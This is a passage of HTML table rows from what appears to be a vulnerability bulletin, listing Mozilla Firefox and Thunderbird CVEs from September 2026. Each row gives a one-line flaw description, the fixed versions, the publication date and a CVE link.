&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92027&quot; target=&quot;_blank&quot;&gt;CVE-2026-92027&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the DOM: Core &amp;amp; HTML component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92028&quot; target=&quot;_blank&quot;&gt;CVE-2026-92028&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the SVG component. This vulnerability was fixed in Firefox 156, Firefox ESR 115.41, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92029&quot; target=&quot;_blank&quot;&gt;CVE-2026-92029&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Mitigation bypass in the DOM: Copy &amp;amp; Paste and Drag &amp;amp; Drop component. This vulnerability was fixed in Firefox 156, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92030&quot; target=&quot;_blank&quot;&gt;CVE-2026-92030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Information disclosure in the Graphics: ImageLib component. This vulnerability was fixed in Firefox 156, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92031&quot; target=&quot;_blank&quot;&gt;CVE-2026-92031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Sandbox escape due to invalid pointer in the Graphics component. This vulnerability was fixed in Firefox 156, Firefox ESR 140.16, Firefox ESR 153.3, Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92032&quot; target=&quot;_blank&quot;&gt;CVE-2026-92032&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation in Firefox for Android. This vulnerability was fixed in Firefox 156.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92033&quot; target=&quot;_blank&quot;&gt;CVE-2026-92033&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Site isolation issue in the Graphics component. This vulnerability was fixed in Firefox 156 and Thunderbird 156.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92034&quot; target=&quot;_blank&quot;&gt;CVE-2026-92034&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Sandbox escape due to incorrect boundary conditions in the Graphics component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92035&quot; target=&quot;_blank&quot;&gt;CVE-2026-92035&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Incorrect boundary conditions in the Networking: HTTP component. This vulnerability was fixed in Firefox 156 and Thunderbird 156.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92036&quot; target=&quot;_blank&quot;&gt;CVE-2026-92036&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Incorrect boundary conditions in the DOM: Animation component. This vulnerability was fixed in Firefox 156 and Thunderbird 156.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92037&quot; target=&quot;_blank&quot;&gt;CVE-2026-92037&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Mitigation bypass in the Remote Settings Client component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92038&quot; target=&quot;_blank&quot;&gt;CVE-2026-92038&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Mitigation bypass in the DOM: Notifications component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92039&quot; target=&quot;_blank&quot;&gt;CVE-2026-92039&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 156 and Thunderbird 156.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92040&quot; target=&quot;_blank&quot;&gt;CVE-2026-92040&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Mitigation bypass in the DOM: Networking component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92041&quot; target=&quot;_blank&quot;&gt;CVE-2026-92041&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Race condition in the DOM: Content Processes component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92042&quot; target=&quot;_blank&quot;&gt;CVE-2026-92042&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation due to incorrect boundary conditions in the Audio/Video component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92043&quot; target=&quot;_blank&quot;&gt;CVE-2026-92043&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Information disclosure in the Networking: HTTP component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92044&quot; target=&quot;_blank&quot;&gt;CVE-2026-92044&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Sandbox escape due to incorrect boundary conditions in the WebRTC component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92045&quot; target=&quot;_blank&quot;&gt;CVE-2026-92045&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the Graphics component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92046&quot; target=&quot;_blank&quot;&gt;CVE-2026-92046&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation in the Crash Reporting component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92047&quot; target=&quot;_blank&quot;&gt;CVE-2026-92047&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92048&quot; target=&quot;_blank&quot;&gt;CVE-2026-92048&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the Widget: Win32 component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92049&quot; target=&quot;_blank&quot;&gt;CVE-2026-92049&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Sandbox escape due to race condition in the XPConnect component. This vulnerability was fixed in Firefox 156 and Thunderbird 156.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92050&quot; target=&quot;_blank&quot;&gt;CVE-2026-92050&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Spoofing issue due to invalid pointer in the Graphics component. This vulnerability was fixed in Firefox 156 and Thunderbird 156.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92051&quot; target=&quot;_blank&quot;&gt;CVE-2026-92051&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation due to uninitialized memory in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92052&quot; target=&quot;_blank&quot;&gt;CVE-2026-92052&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation in the Graphics: CanvasWebGL component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92053&quot; target=&quot;_blank&quot;&gt;CVE-2026-92053&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation in the Memory component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92054&quot; target=&quot;_blank&quot;&gt;CVE-2026-92054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation in the DevTools component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92055&quot; target=&quot;_blank&quot;&gt;CVE-2026-92055&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the Graphics: Text component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92056&quot; target=&quot;_blank&quot;&gt;CVE-2026-92056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Mitigation bypass in the Enterprise Policies component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92057&quot; target=&quot;_blank&quot;&gt;CVE-2026-92057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the Graphics component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92058&quot; target=&quot;_blank&quot;&gt;CVE-2026-92058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Incorrect boundary conditions in the DOM: Editor component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92059&quot; target=&quot;_blank&quot;&gt;CVE-2026-92059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the Internationalization component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92060&quot; target=&quot;_blank&quot;&gt;CVE-2026-92060&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Incorrect boundary conditions in the Security: Process Sandboxing component. This vulnerability was fixed in Firefox 156 and Thunderbird 156.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92061&quot; target=&quot;_blank&quot;&gt;CVE-2026-92061&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation in the Session Restore component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92062&quot; target=&quot;_blank&quot;&gt;CVE-2026-92062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Denial-of-service in the Audio/Video component. This vulnerability was fixed in Firefox 156 and Thunderbird 156.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92063&quot; target=&quot;_blank&quot;&gt;CVE-2026-92063&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92064&quot; target=&quot;_blank&quot;&gt;CVE-2026-92064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92065&quot; target=&quot;_blank&quot;&gt;CVE-2026-92065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Sandbox escape in the Profile Backup component. This vulnerability was fixed in Firefox 156 and Thunderbird 156.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92066&quot; target=&quot;_blank&quot;&gt;CVE-2026-92066&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Use-after-free in the Widget: Gtk component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92067&quot; target=&quot;_blank&quot;&gt;CVE-2026-92067&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Site isolation issue in the Reader Mode component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92068&quot; target=&quot;_blank&quot;&gt;CVE-2026-92068&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Spoofing issue in the DOM: Navigation component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92069&quot; target=&quot;_blank&quot;&gt;CVE-2026-92069&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Information disclosure in the Networking component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92070&quot; target=&quot;_blank&quot;&gt;CVE-2026-92070&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92071&quot; target=&quot;_blank&quot;&gt;CVE-2026-92071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Incorrect boundary conditions in the Safe Browsing component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92072&quot; target=&quot;_blank&quot;&gt;CVE-2026-92072&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Privilege escalation in the Enterprise Policies component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92073&quot; target=&quot;_blank&quot;&gt;CVE-2026-92073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Mitigation bypass in the Popup Blocker component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92074&quot; target=&quot;_blank&quot;&gt;CVE-2026-92074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Mitigation bypass in the Networking component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92075&quot; target=&quot;_blank&quot;&gt;CVE-2026-92075&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
